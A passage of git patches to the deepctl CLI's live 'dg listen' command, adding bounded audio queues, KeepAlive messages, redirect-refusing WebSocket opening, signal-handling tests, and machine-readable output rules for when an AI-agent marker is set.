+    import signal
+
+    died = []
+    monkeypatch.setattr(live, "die_by_signal", lambda s: died.append(s))
+    result = _finish(command, source, "SIGTERM")
+    assert result.status == "cancelled"
+    assert result.transcript == "hello world"
+    command.exit_code_for(result)
+    assert died == [signal.SIGTERM]
+
+
+def test_mic_sigterm_drains_and_stays_cancelled(command, monkeypatch):
+    """A real SIGTERM during a mic stream drains like Ctrl-C, but the result
+    stays "cancelled" and the process then ends by SIGTERM."""
+    import asyncio
+    import signal
+    import types
+
+    if sys.platform == "win32":
+        pytest.skip("SIGTERM drain is POSIX only")
+
+    class _FakeInputStream:
+        def __init__(self, **_kwargs):
+            pass
+
+        def start(self):
+            pass
+
+        def stop(self):
+            pass
+
+        def close(self):
+            pass
+
+    fake_sd = types.ModuleType("sounddevice")
+    fake_sd.RawInputStream = _FakeInputStream
+    fake_np = types.ModuleType("numpy")
+    fake_np.int16 = "int16"
+    monkeypatch.setitem(sys.modules, "sounddevice", fake_sd)
+    monkeypatch.setitem(sys.modules, "numpy", fake_np)
+    ws = _EndOnCloseStream()
+    _install_websockets(monkeypatch, ws)
+    died = []
+    monkeypatch.setattr(live, "die_by_signal", lambda s: died.append(s))
+
+    loop = asyncio.new_event_loop()
+    loop.call_later(0.1, signal.raise_signal, signal.SIGTERM)
+    try:
+        result = loop.run_until_complete(
+            command._ws_mic(
+                _client(),
+                model="nova-3",
+                language="en",
+                api_version=1,
+                diarize=False,
+                smart_format=True,
+                punctuate=True,
+                interim=False,
+                redact=(),
+                numerals=False,
+                sample_rate=16000,
+                channels=1,
+            )
+        )
+    finally:
+        loop.close()
+
+    assert result.status == "cancelled"
+    assert '{"type": "CloseStream"}' in ws.sent
+    command.exit_code_for(result)
+    assert died == [signal.SIGTERM]
+
+
+# ── Importing the listen command doesn't import asyncio ────────────────────
+
+
+def test_listen_command_import_is_lazy():
+    import subprocess
+
+    code = (
+        "import sys\n"
+        "from deepctl_cmd_listen.command import ListenCommand\n"
+        "ListenCommand().get_arguments()\n"
+        "bad = [m for m in ('asyncio', 'deepctl_cmd_listen.live') if m in sys.modules]\n"
+        "print(','.join(bad))\n"
+    )
+    out = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, text=True, check=True
+    )
+    assert out.stdout.strip() == ""
diff --git a/packages/deepctl-core/pyproject.toml b/packages/deepctl-core/pyproject.toml
index 84dc1bdd..0b64e905 100644
--- a/packages/deepctl-core/pyproject.toml
+++ b/packages/deepctl-core/pyproject.toml
@@ -33,6 +33,7 @@ dependencies = [
     "pyyaml>=6.0.0",
     "platformdirs>=3.0.0,<5",
     "packaging>=21.0",
+    "websockets>=13.1,<18",
 ]
 
 [project.optional-dependencies]
diff --git a/packages/deepctl-core/src/deepctl_core/websocket.py b/packages/deepctl-core/src/deepctl_core/websocket.py
index 78a4c59b..cd4bf4b7 100644
--- a/packages/deepctl-core/src/deepctl_core/websocket.py
+++ b/packages/deepctl-core/src/deepctl_core/websocket.py
@@ -83,40 +83,61 @@ def _as_refusal(
     return exc
 
 
-class _AsyncOpen:
-    """``async with`` wrapper around websockets' asyncio ``connect``."""
+async def open_async(
+    url: str,
+    headers: dict[str, str],
+    *,
+    command: str,
+    payload: str,
+    **options: Any,
+) -> Any:
+    """Open ``url`` and return the connection, refusing any redirect.
 
-    def __init__(
-        self, url: str, headers: dict[str, str], command: str, payload: str
-    ) -> None:
-        from websockets.asyncio.client import connect
+    Needs websockets 13.0 or later (its asyncio client); the sync variant
+    works with anything the Deepgram SDK accepts. ``options`` go to
+    websockets' ``connect`` (``close_timeout``, ``compression`` and so on).
 
-        self._url = url
-        self._command = command
-        self._payload = payload
-        refuse = self._refuse
+    ``command`` and ``payload`` name the command and what it would have
+    sent, for the error: "dg listen" and "audio", for example.
+    """
+    from websockets.asyncio.client import connect
 
-        class _NoRedirect(connect):
-            # websockets 13.1 and later call this on a failed handshake and
-            # follow whatever URI it returns; 13.0 never follows.
-            def process_redirect(self, exc: Exception) -> Exception | str:
-                result = refuse(exc)
-                return result if isinstance(result, Exception) else exc
+    def refuse(exc: BaseException) -> BaseException:
+        return _as_refusal(url, exc, command=command, payload=payload)
 
-        self._connect = _NoRedirect(url, additional_headers=headers)
-        self._ws: Any = None
+    class _NoRedirect(connect):
+        # websockets 13.1 and later call this on a failed handshake and
+        # follow whatever URI it returns; 13.0 never follows.
+        def process_redirect(self, exc: Exception) -> Exception | str:
+            result = refuse(exc)
+            return result if isinstance(result, Exception) else exc
 
-    def _refuse(self, exc: BaseException) -> BaseException:
-        return _as_refusal(self._url, exc, command=self._command, payload=self._payload)
+    try:
+        return await _NoRedirect(url, additional_headers=headers, **options)
+    except Exception as exc:
+        refused = refuse(exc)
+        if refused is exc:
+            raise
+        raise refused from exc
+
+
+class _AsyncOpen:
+    """``async with`` wrapper around :func:`open_async`."""
+
+    def __init__(
+        self,
+        url: str,
+        headers: dict[str, str],
+        command: str,
+        payload: str,
+        options: dict[str, Any],
+    ) -> None:
+        self._args = (url, headers)
+        self._kwargs = dict(options, command=command, payload=payload)
+        self._ws: Any = None
 
     async def __aenter__(self) -> Any:
-        try:
-            self._ws = await self._connect
-        except Exception as exc:
-            refused = self._refuse(exc)
-            if refused is exc:
-                raise
-            raise refused from exc
+        self._ws = await open_async(*self._args, **self._kwargs)
         return self._ws
 
     async def __aexit__(self, *exc_info: Any) -> None:
@@ -124,17 +145,15 @@ async def __aexit__(self, *exc_info: Any) -> None:
 
 
 def connect_async(
-    url: str, headers: dict[str, str], *, command: str, payload: str
+    url: str,
+    headers: dict[str, str],
+    *,
+    command: str,
+    payload: str,
+    **options: Any,
 ) -> _AsyncOpen:
-    """Open ``url`` for ``async with``, refusing any redirect.
-
-    Needs websockets 13.0 or later (its asyncio client); the sync variant
-    works with anything the Deepgram SDK accepts.
-
-    ``command`` and ``payload`` name the command and what it would have
-    sent, for the error: "dg listen" and "audio", for example.
-    """
-    return _AsyncOpen(url, headers, command, payload)
+    """Open ``url`` for ``async with``, refusing any redirect (see open_async)."""
+    return _AsyncOpen(url, headers, command, payload, options)
 
 
 class _SyncOpen:
diff --git a/tests/e2e/conftest.py b/tests/e2e/conftest.py
index c91c1b67..4db30f83 100644
--- a/tests/e2e/conftest.py
+++ b/tests/e2e/conftest.py
@@ -87,15 +87,21 @@ def live_client(monkeypatch):
 
 
 @pytest.fixture
-def feed_stdin(monkeypatch):
+def feed_stdin(monkeypatch, tmp_path, request):
     """Return a helper that pipes raw bytes into the listen command's stdin.
 
-    The stdin streaming path reads ``sys.stdin.buffer`` (via the listen
-    module's ``sys``); swap in a BytesIO-backed fake so an in-process run
-    behaves like ``… | dg listen -``.
+    The live stdin path reads a file descriptor (``_stdin_fd()``, fd 0 in
+    production); point it at a file holding the audio so an in-process run
+    behaves like ``dg listen - < audio.raw``. ``sys.stdin`` is swapped too,
+    so source auto-detection sees a non-TTY.
     """
 
     def _feed(pcm: bytes) -> None:
+        path = tmp_path / "stdin.raw"
+        path.write_bytes(pcm)
+        fd = os.open(path, os.O_RDONLY)
+        request.addfinalizer(lambda: os.close(fd))
+        monkeypatch.setattr("deepctl_cmd_listen.command._stdin_fd", lambda: fd)
         fake_stdin = types.SimpleNamespace(
             buffer=io.BytesIO(pcm),
             isatty=lambda: False,
diff --git a/uv.lock b/uv.lock
index 18f6c53c..83cbfddb 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1735,6 +1735,8 @@ dependencies = [
     { name = "pyjwt" },
     { name = "pyyaml" },
     { name = "rich" },
+    { name = "websockets", version = "16.1.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
+    { name = "websockets", version = "17.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
 ]
 
 [package.optional-dependencies]
@@ -1762,6 +1764,7 @@ requires-dist = [
     { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.10.0" },
     { name = "pyyaml", specifier = ">=6.0.0" },
     { name = "rich", specifier = ">=13.0.0,<16" },
+    { name = "websockets", specifier = ">=13.1,<18" },
 ]
 provides-extras = ["dev"]
 

From 9ddea9217de3a751f3be518fa5970b75c3542768 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 12:31:01 -0400
Subject: [PATCH 16/88] perf(listen): bound live-stream memory and frame
 latency

- Stdin reads take at most 50 ms of audio, computed from the encoding,
  sample rate and channels (whole samples; 4 KiB for encodings without a
  known byte rate). A pipe read returns what is there, so paced input
  goes up at the writer's pace: 20 ms frames at 16 kHz linear16 and at
  8 kHz mulaw, where 4 KiB reads held telephony audio for about 500 ms.
- The send queue holds at most 32 buffers. The reader waits for room,
  so a slow uplink holds back the producer instead of filling memory.
- The microphone callback can't wait, so when the queue is full the
  oldest buffer is dropped and counted; one warning per stream reports
  how much audio was dropped. Mic blocks are 50 ms.
- listen v1 streams send a KeepAlive after 5 s without audio, so a
  paused producer doesn't time the stream out.
- The WebSocket is opened with compression=None: audio doesn't compress,
  and deflate cost CPU on every frame.
---
 .../src/deepctl_cmd_listen/command.py         |  29 ++--
 .../src/deepctl_cmd_listen/live.py            |  88 +++++++++-
 .../src/deepctl_cmd_listen/messages.py        |   5 +
 .../tests/unit/test_live.py                   | 154 +++++++++++++++++-
 4 files changed, 256 insertions(+), 20 deletions(-)

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index 252507d7..a46c03b5 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -923,23 +923,19 @@ async def _ws_mic(
         v2_state = self._new_v2_state() if api_version >= 2 else None
 
         loop = asyncio.get_running_loop()
-        queue: asyncio.Queue[Any] = asyncio.Queue()
+        queue: asyncio.Queue[Any] = asyncio.Queue(maxsize=live.QUEUE_MAX)
         closing = threading.Event()
+        buffer = live.DropOldestBuffer(loop, queue, closing)
         stream: Any = None
 
         def callback(indata: Any, frames: int, t: Any, s: Any) -> None:
-            if closing.is_set():
-                return
-            if s:
+            if s and not closing.is_set():
                 print_warning(
                     f"Audio warning: {escape(str(s))}",
                     stderr=True,
                     ignore_quiet=True,
                 )
-            try:
-                loop.call_soon_threadsafe(queue.put_nowait, bytes(indata))
-            except RuntimeError:
-                pass  # the event loop already closed
+            buffer.offer_threadsafe(bytes(indata))
 
         def start_mic() -> None:
             nonlocal stream
@@ -948,7 +944,8 @@ def start_mic() -> None:
                 channels=channels,
                 dtype=np.int16,
                 callback=callback,
-                blocksize=int(sample_rate * 0.1),
+                blocksize=live.frame_bytes("linear16", sample_rate, channels)
+                // (2 * channels),
             )
             stream.start()
 
@@ -970,6 +967,7 @@ def on_message(raw: str | bytes) -> None:
                 queue=queue,
                 closing=closing,
                 start_source=start_mic,
+                keepalive=api_version < 2,
                 byte_rate=live.bytes_per_second("linear16", sample_rate, channels),
                 stop=early.bind(loop) if early is not None else None,
             )
@@ -984,6 +982,14 @@ def on_message(raw: str | bytes) -> None:
                 except Exception:
                     pass
 
+        if buffer.dropped_buffers:
+            rate = live.bytes_per_second("linear16", sample_rate, channels)
+            print_warning(
+                msg.W_MIC_DROPPED.format(
+                    seconds=f"{buffer.dropped_bytes / rate if rate else 0.0:.1f}"
+                ),
+                stderr=True,
+            )
         return self._finish_live(
             outcome,
             source="mic",
@@ -1115,13 +1121,13 @@ async def _ws_stdin(
         v2_state = self._new_v2_state() if api_version >= 2 else None
 
         loop = asyncio.get_running_loop()
-        queue: asyncio.Queue[Any] = asyncio.Queue()
+        queue: asyncio.Queue[Any] = asyncio.Queue(maxsize=live.QUEUE_MAX)
         closing = threading.Event()
         reader = live.StdinReader(
             loop,
             queue,
             closing,
-            read_size=live.DEFAULT_READ_BYTES,
+            read_size=live.frame_bytes(encoding, sample_rate, channels),
             fd=_stdin_fd(),
         )
 
@@ -1142,6 +1148,7 @@ def on_message(raw: str | bytes) -> None:
             queue=queue,
             closing=closing,
             start_source=reader.start,
+            keepalive=api_version < 2,
             byte_rate=live.bytes_per_second(encoding, sample_rate, channels),
         )
         return self._finish_live(
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
index 9e7378f2..85f743c0 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
@@ -1,6 +1,6 @@
 """Live streaming engine for ``dg listen`` (stdin and microphone).
 
-One WebSocket session: audio goes up from a queue, transcripts come
+One WebSocket session: audio goes up from a bounded queue, transcripts come
 down to a callback, and the session ends one of four ways:
 
 - the server closes the stream (exit 0, or 1 if it reported an error);
@@ -15,7 +15,8 @@
 - the connection fails (exit 1).
 
 Stdin is read with ``os.read(0, cap)`` in a daemon thread that hands each
-buffer to the event loop and waits until the queue accepts it. The thread is
+buffer to the event loop and waits until the bounded queue accepts it, so a
+slow uplink holds back the producer instead of filling memory. The thread is
 never joined. Before every read and every hand-off it checks ``closing``,
 which shutdown sets before it cancels any task; anything raised in the thread
 (including a cancelled hand-off while the loop shuts down) ends the thread
@@ -45,14 +46,23 @@
 
 # ── Tunables ────────────────────────────────────────────────────────────────
 
-#: Largest single read from stdin.
+#: Each read takes at most this much audio. The plan allows 20-100 ms; 50 ms
+#: keeps frames small for latency while a regular file still goes up in a
+#: reasonable number of messages. A pipe read returns whatever is there, so
+#: paced input goes up at the writer's own pace whatever this is.
+FRAME_MS = 50
+#: Read size when the encoding gives no byte rate (opus, flac, containers).
 DEFAULT_READ_BYTES = 4096
+#: Audio buffers waiting to be sent. With FRAME_MS that is 1.6 s of audio.
+QUEUE_MAX = 32
 #: Ctrl-C: how long to wait for the server's last results after CloseStream.
 STOP_DRAIN_S = 1.0
 #: End of input: give up when the server has sent nothing for this long.
 EOF_IDLE_S = 10.0
 #: End of input: the absolute cap is max(EOF_CAP_MIN_S, 2 x the work left).
 EOF_CAP_MIN_S = 30.0
+#: Send a KeepAlive after this long without audio (listen v1 only).
+KEEPALIVE_AFTER_S = 5.0
 #: Bound on the WebSocket closing handshake once the outcome is known.
 CLOSE_TIMEOUT_S = 1.0
 
@@ -60,6 +70,7 @@
 _PCM_WIDTH = {"linear16": 2, "linear32": 4, "mulaw": 1, "alaw": 1}
 
 CLOSE_STREAM = json.dumps({"type": "CloseStream"})
+KEEP_ALIVE = json.dumps({"type": "KeepAlive"})
 
 
 def bytes_per_second(encoding: str | None, sample_rate: int, channels: int) -> int:
@@ -70,11 +81,24 @@ def bytes_per_second(encoding: str | None, sample_rate: int, channels: int) -> i
     return width * sample_rate * channels
 
 
+def frame_bytes(encoding: str | None, sample_rate: int, channels: int) -> int:
+    """Largest read for one frame: FRAME_MS of audio, or a fixed size.
+
+    Rounded down to whole sample frames so a read never splits a sample.
+    """
+    rate = bytes_per_second(encoding, sample_rate, channels)
+    if not rate:
+        return DEFAULT_READ_BYTES
+    width = _PCM_WIDTH[(encoding or "").lower()] * channels
+    size = rate * FRAME_MS // 1000
+    return max(width, size - size % width)
+
+
 # ── Audio sources ───────────────────────────────────────────────────────────
 
 
 class StdinReader:
-    """Reads a file descriptor in a daemon thread into a queue.
+    """Reads a file descriptor in a daemon thread into a bounded queue.
 
     Puts ``bytes`` for audio, ``b""`` once at end of input, or the
     ``OSError`` a read raised. Never joined: a read blocked on an idle pipe
@@ -154,6 +178,45 @@ def _wait_readable(fd: int) -> None:
         time.sleep(0.2)
 
 
+class DropOldestBuffer:
+    """Microphone hand-off: the audio callback can't block, so when the queue
+    is full the oldest buffer goes. Counts what it dropped."""
+
+    def __init__(
+        self,
+        loop: asyncio.AbstractEventLoop,
+        queue: asyncio.Queue[Any],
+        closing: threading.Event,
+    ) -> None:
+        self._loop = loop
+        self._queue = queue
+        self._closing = closing
+        self.dropped_buffers = 0
+        self.dropped_bytes = 0
+
+    def offer(self, data: bytes) -> None:
+        """Call on the event loop: enqueue ``data``, dropping the oldest."""
+        if self._queue.full():
+            try:
+                old = self._queue.get_nowait()
+            except asyncio.QueueEmpty:
+                pass
+            else:
+                self.dropped_buffers += 1
+                if isinstance(old, (bytes, bytearray)):
+                    self.dropped_bytes += len(old)
+        self._queue.put_nowait(data)
+
+    def offer_threadsafe(self, data: bytes) -> None:
+        """Call from the audio thread; never raises, never blocks."""
+        if self._closing.is_set():
+            return
+        try:
+            self._loop.call_soon_threadsafe(self.offer, data)
+        except BaseException:
+            pass
+
+
 # ── Session ─────────────────────────────────────────────────────────────────
 
 
@@ -444,6 +507,7 @@ async def run_session(
     queue: asyncio.Queue[Any],
     closing: threading.Event,
     start_source: Callable[[], None],
+    keepalive: bool,
     byte_rate: int,
     stop: asyncio.Event | None = None,
 ) -> LiveOutcome:
@@ -528,6 +592,15 @@ async def send_audio() -> str:
         await ws.send(CLOSE_STREAM)
         return "eof"
 
+    async def keep_alive() -> None:
+        last = now()
+        while True:
+            await asyncio.sleep(0.5)
+            t = now()
+            if t - max(clock.last_audio, last) >= KEEPALIVE_AFTER_S:
+                await ws.send(KEEP_ALIVE)
+                last = t
+
     def eof_cap() -> float:
         if byte_rate:
             behind = clock.bytes_sent / byte_rate - clock.last_final_end
@@ -539,7 +612,7 @@ def eof_cap() -> float:
     async def finish_on_stop(deadline: float) -> LiveOutcome:
         """Ctrl-C: stop sending, CloseStream, wait for the server until deadline."""
         closing.set()
-        await _cancel_all(tasks.get("send"))
+        await _cancel_all(tasks.get("send"), tasks.get("keepalive"))
         recv = tasks["recv"]
         assert recv is not None
         if clock.eof_at is None and not recv.done():
@@ -563,7 +636,7 @@ async def finish_on_stop(deadline: float) -> LiveOutcome:
         stop_wait = asyncio.ensure_future(stop.wait())
         tasks["stop"] = stop_wait
         connect = asyncio.ensure_future(
-            _open(url, headers, close_timeout=CLOSE_TIMEOUT_S)
+            _open(url, headers, compression=None, close_timeout=CLOSE_TIMEOUT_S)
         )
         tasks["connect"] = connect
         await asyncio.wait({connect, stop_wait}, return_when=asyncio.FIRST_COMPLETED)
@@ -578,6 +651,8 @@ async def finish_on_stop(deadline: float) -> LiveOutcome:
         recv = asyncio.ensure_future(receive())
         send = asyncio.ensure_future(send_audio())
         tasks.update(recv=recv, send=send)
+        if keepalive:
+            tasks["keepalive"] = asyncio.ensure_future(keep_alive())
 
         # ── Streaming ─────────────────────────────────────────────────
         await asyncio.wait({recv, send, stop_wait}, return_when=asyncio.FIRST_COMPLETED)
@@ -611,6 +686,7 @@ async def finish_on_stop(deadline: float) -> LiveOutcome:
             )
 
         # ── End of input: drain ───────────────────────────────────────
+        await _cancel_all(tasks.get("keepalive"))
         assert clock.eof_at is not None
         cap = eof_cap()
         cap_at = clock.eof_at + cap
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index 6011ac93..d5488894 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -57,6 +57,11 @@
     "so the transcript may be incomplete."
 )
 
+# Microphone: audio dropped because sending fell behind. Once per stream.
+W_MIC_DROPPED = (
+    "Dropped {seconds} s of microphone audio because the connection couldn't keep up."
+)
+
 # server_error: the server closed the stream with an error close code.
 E_LISTEN_SERVER_CLOSED = (
     "The server ended the stream with an error ({close_code}): {close_reason}"
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live.py b/packages/deepctl-cmd-listen/tests/unit/test_live.py
index 2802f4b7..f4a1e09e 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_live.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live.py
@@ -101,7 +101,7 @@ def run(coro):
 async def session(ws_messages, *, audio=(), eof=True, stop_after=None, **kw):
     """Run run_session with an in-memory source; returns (outcome, messages)."""
     loop = asyncio.get_running_loop()
-    q: asyncio.Queue = asyncio.Queue()
+    q: asyncio.Queue = asyncio.Queue(maxsize=live.QUEUE_MAX)
     closing = threading.Event()
     got: list = []
 
@@ -125,6 +125,7 @@ async def feed():
         queue=q,
         closing=closing,
         start_source=start,
+        keepalive=kw.pop("keepalive", True),
         byte_rate=kw.pop("byte_rate", 32000),
         stop=stop,
     )
@@ -132,15 +133,93 @@ async def feed():
     return outcome, got
 
 
+# ── Frame sizing ────────────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("encoding", "rate", "channels", "expected"),
+    [
+        ("linear16", 16000, 1, 1600),  # 50 ms
+        ("linear16", 8000, 1, 800),
+        ("linear16", 48000, 2, 9600),
+        ("mulaw", 8000, 1, 400),
+        ("alaw", 8000, 1, 400),
+        ("linear32", 16000, 1, 3200),
+        ("LINEAR16", 16000, 1, 1600),
+        ("opus", 48000, 1, live.DEFAULT_READ_BYTES),
+        ("flac", 16000, 1, live.DEFAULT_READ_BYTES),
+        (None, 16000, 1, live.DEFAULT_READ_BYTES),
+    ],
+)
+def test_frame_bytes(encoding, rate, channels, expected):
+    assert live.frame_bytes(encoding, rate, channels) == expected
+
+
+@pytest.mark.parametrize(
+    ("encoding", "rate", "channels"),
+    [
+        ("linear16", 16000, 1),
+        ("linear16", 11025, 3),
+        ("mulaw", 8000, 1),
+        ("linear32", 22050, 2),
+    ],
+)
+def test_frame_bytes_is_20_to_100_ms_of_whole_samples(encoding, rate, channels):
+    size = live.frame_bytes(encoding, rate, channels)
+    bps = live.bytes_per_second(encoding, rate, channels)
+    assert 0.020 <= size / bps <= 0.100
+    width = {"linear16": 2, "linear32": 4, "mulaw": 1}[encoding] * channels
+    assert size % width == 0
+
+
 def test_bytes_per_second_unknown_is_zero():
     assert live.bytes_per_second("opus", 48000, 1) == 0
     assert live.bytes_per_second("linear16", 0, 1) == 0
 
 
+# ── Drop-oldest (microphone) ───────────────────────────────────────────────
+
+
+def test_drop_oldest_keeps_newest_and_counts():
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=3)
+        buf = live.DropOldestBuffer(asyncio.get_running_loop(), q, threading.Event())
+        for i in range(5):
+            buf.offer(bytes([i]) * 10)
+        kept = [q.get_nowait() for _ in range(q.qsize())]
+        return buf, kept
+
+    buf, kept = run(main())
+    assert kept == [b"\x02" * 10, b"\x03" * 10, b"\x04" * 10]
+    assert buf.dropped_buffers == 2
+    assert buf.dropped_bytes == 20
+
+
+def test_drop_oldest_threadsafe_never_raises_after_close():
+    loop = asyncio.new_event_loop()
+    q: asyncio.Queue = asyncio.Queue(maxsize=2)
+    buf = live.DropOldestBuffer(loop, q, threading.Event())
+    loop.close()
+    buf.offer_threadsafe(b"x")  # loop closed: silently ignored
+
+
+def test_drop_oldest_ignores_audio_once_closing():
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=2)
+        closing = threading.Event()
+        closing.set()
+        buf = live.DropOldestBuffer(asyncio.get_running_loop(), q, closing)
+        buf.offer_threadsafe(b"x")
+        await asyncio.sleep(0.01)
+        return q.qsize()
+
+    assert run(main()) == 0
+
+
 # ── Stdin reader ───────────────────────────────────────────────────────────
 
 
-def test_reader_reads_capped_reads_then_eof():
+def test_reader_reads_capped_frames_then_eof():
     r, w = os.pipe()
     os.write(w, b"a" * 5000)
     os.close(w)
@@ -164,6 +243,33 @@ async def main():
     assert items[-1] == b""
 
 
+def test_reader_blocks_on_full_queue_instead_of_buffering():
+    """Backpressure: with nobody consuming, the reader holds at most
+    maxsize buffers plus the one it is handing over."""
+    r, w = os.pipe()
+    os.set_blocking(w, False)
+    written = 0
+
+    async def main():
+        nonlocal written
+        q: asyncio.Queue = asyncio.Queue(maxsize=4)
+        live.StdinReader(
+            asyncio.get_running_loop(), q, threading.Event(), read_size=100, fd=r
+        ).start()
+        for _ in range(200):
+            try:
+                written += os.write(w, b"z" * 100)
+            except BlockingIOError:
+                break
+            await asyncio.sleep(0.001)
+        await asyncio.sleep(0.2)
+        return q.qsize()
+
+    assert run(main()) == 4
+    os.close(w)
+    os.close(r)
+
+
 def test_reader_stops_without_put_when_closing():
     r, w = os.pipe()
     os.write(w, b"x" * 10)
@@ -217,7 +323,7 @@ async def main():
 
     async def main():
         loop = asyncio.get_running_loop()
-        q = asyncio.Queue(maxsize=32)
+        q = asyncio.Queue(maxsize=live.QUEUE_MAX)
         closing = threading.Event()
         stop = asyncio.Event()
         guard = live._SignalGuard(loop, stop)
@@ -302,6 +408,15 @@ def test_eof_sends_closestream_and_keeps_late_finals(monkeypatch):
     assert ws.sent[-1] == live.CLOSE_STREAM
 
 
+def test_connect_uses_no_compression(monkeypatch):
+    ws = FakeWS()
+    calls = install_fake_websockets(monkeypatch, ws)
+    run(session([]))
+    ((args, kwargs),) = calls
+    assert kwargs["compression"] is None
+    assert args[1] == {"Authorization": "Token k"}
+
+
 def test_server_close_ends_session_cleanly(monkeypatch):
     ws = FakeWS([_result("hi")])
     install_fake_websockets(monkeypatch, ws)
@@ -334,6 +449,7 @@ def on_message(raw):
             queue=q,
             closing=threading.Event(),
             start_source=lambda: None,
+            keepalive=False,
             byte_rate=0,
         )
 
@@ -473,6 +589,7 @@ async def feed():
             queue=q,
             closing=threading.Event(),
             start_source=start,
+            keepalive=False,
             byte_rate=0,
         )
 
@@ -482,6 +599,32 @@ async def feed():
     assert 0.4 <= outcome.drain_limit_s <= 2.0
 
 
+def test_keepalive_after_silence(monkeypatch):
+    monkeypatch.setattr(live, "KEEPALIVE_AFTER_S", 0.2)
+    ws = FakeWS()
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        asyncio.get_running_loop().call_later(1.3, ws.finish)
+        return await session([], eof=False)
+
+    run(main())
+    assert ws.sent.count(live.KEEP_ALIVE) >= 2
+
+
+def test_no_keepalive_when_disabled(monkeypatch):
+    monkeypatch.setattr(live, "KEEPALIVE_AFTER_S", 0.1)
+    ws = FakeWS()
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        asyncio.get_running_loop().call_later(0.5, ws.finish)
+        return await session([], eof=False, keepalive=False)
+
+    run(main())
+    assert live.KEEP_ALIVE not in ws.sent
+
+
 def test_shutdown_sets_closing_before_cancelling(monkeypatch):
     """The producer must see ``closing`` before any task is cancelled: the
     sender, cancelled while it waits on the queue, records what it saw."""
@@ -508,6 +651,7 @@ async def main():
             queue=SpyQueue(maxsize=4),
             closing=closing,
             start_source=lambda: None,
+            keepalive=True,
             byte_rate=0,
             stop=stop,
         )
@@ -604,6 +748,7 @@ async def main():
             queue=asyncio.Queue(),
             closing=threading.Event(),
             start_source=lambda: None,
+            keepalive=False,
             byte_rate=0,
         )
 
@@ -628,6 +773,7 @@ async def main():
             queue=asyncio.Queue(),
             closing=threading.Event(),
             start_source=lambda: None,
+            keepalive=False,
             byte_rate=0,
         )
 
@@ -656,6 +802,7 @@ async def main():
             queue=asyncio.Queue(),
             closing=threading.Event(),
             start_source=lambda: None,
+            keepalive=False,
             byte_rate=0,
         )
 
@@ -716,6 +863,7 @@ async def main():
             queue=asyncio.Queue(),
             closing=threading.Event(),
             start_source=lambda: None,
+            keepalive=False,
             byte_rate=0,
         )
 

From b80e66f71fce0ea342407dc2f5ffa0612eb78be1 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 12:31:01 -0400
Subject: [PATCH 17/88] fix(listen): keep machine output to the final result

When JSON or YAML was asked for (-o json, -o yaml) or chosen because an
AI-agent marker is set, a live stream writes no transcript lines,
interim rewrites or live captions to stdout. The final Result object is
the one document on stdout, whatever the stream's status, so
`dg -o json listen < call.raw | jq` parses. With --verbose, final lines
go to stderr as INFO: lines. --save-to still writes the transcript or
captions.

JSON implied only by the TTY/CI heuristics (cron, CI, a container with
no TERM) keeps 0.4.0's live output: lines as they arrive, then the
final Result, because those pipelines read stdout as a stream. To tell
the cases apart, deepctl_core.output gains format_source(): "explicit",
"hard_agent", "soft" or "default". Human output is unchanged.

Under a hard AI-agent signal, `dg listen` with no SOURCE and no --mic is
refused before authentication with invalid_argument (E-LISTEN-NO-SOURCE,
exit 1) instead of streaming a non-TTY stdin until an end of input that
may never come. `dg listen -` reads stdin explicitly. CI and people keep
auto-detection.
---
 .../src/deepctl_cmd_listen/captions.py        |   8 +-
 .../src/deepctl_cmd_listen/command.py         | 116 ++++++--
 .../src/deepctl_cmd_listen/messages.py        |   8 +
 .../tests/unit/test_live_command.py           | 257 +++++++++++++++-
 .../tests/unit/test_live_signals.py           | 281 ++++++++++++++++++
 .../deepctl-core/src/deepctl_core/output.py   |  23 ++
 6 files changed, 668 insertions(+), 25 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_live_signals.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
index 355257a5..bfe1980c 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/captions.py
@@ -95,8 +95,10 @@ class StreamingCaptionWriter:
     word-level speaker data is present.
     """
 
-    def __init__(self, fmt: str) -> None:
+    def __init__(self, fmt: str, *, echo: bool = True) -> None:
         self.fmt = fmt  # "webvtt" | "srt"
+        # False under a machine format: collect words, print nothing.
+        self.echo = echo
         self._count = 0
         self._all_words: list[dict[str, Any]] = []
 
@@ -106,7 +108,7 @@ def print_header(self, note: str | None = None) -> None:
         For WebVTT, an optional NOTE block can carry metadata (model, language,
         etc.) in a spec-compliant way. SRT has no header equivalent.
         """
-        if self.fmt == "webvtt":
+        if self.echo and self.fmt == "webvtt":
